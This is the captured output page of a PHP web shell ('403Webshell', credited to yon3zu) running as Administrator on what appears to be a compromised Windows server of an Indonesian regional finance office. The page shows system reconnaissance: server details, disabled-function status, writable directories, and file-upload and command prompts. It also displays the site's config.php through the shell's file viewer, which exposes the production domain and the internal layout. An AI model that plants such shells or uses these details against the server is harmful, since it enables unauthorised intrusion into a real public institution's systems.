403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd/includes/config.php
<?php
// File: includes/config.php

// =====================================================
// BASE URL (Untuk Link di HTML)
// =====================================================
// Cek apakah dijalankan via CLI (Task Scheduler / cron job) atau web
if (php_sapi_name() === 'cli' || empty($_SERVER['HTTP_HOST'])) {
    // === CLI / TASK SCHEDULER ===
    // Hardcode BASE_URL karena $_SERVER tidak tersedia
    define('BASE_URL', 'https://bpkd.lumajangkab.go.id');
    
} else {
    // === WEB (Browser) ===
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $host = $_SERVER['HTTP_HOST'];

    if (strpos($_SERVER['SCRIPT_NAME'], '/bpkd/') !== false) {
        define('BASE_URL', $protocol . $host . '/bpkd');
    } else {
        define('BASE_URL', $protocol . $host);
    }
}

// =====================================================
// BASE_PATH (Untuk File System - Include/Require)
// =====================================================
//define('BASE_PATH', dirname(__DIR__) . '/');

// =====================================================
// SUBDIRECTORY (Untuk Routing - Jika diperlukan)
// =====================================================
$parsed_path = parse_url(BASE_URL, PHP_URL_PATH);
define('BASE_SUBDIR', $parsed_path ? $parsed_path . '/' : '/');

// =====================================================
// ENVIRONMENT STATUS (Untuk Debugging)
// =====================================================
$is_local = (strpos($_SERVER['SCRIPT_NAME'], '/bpkd/') !== false);
define('IS_LOCAL', $is_local);
define('IS_PRODUCTION', !$is_local);

// =====================================================
// ERROR REPORTING (Berdasarkan Environment)
// =====================================================
if (IS_LOCAL) {
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
} else {
    error_reporting(0);
    ini_set('display_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', BASE_PATH . 'logs/php-error.log');
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit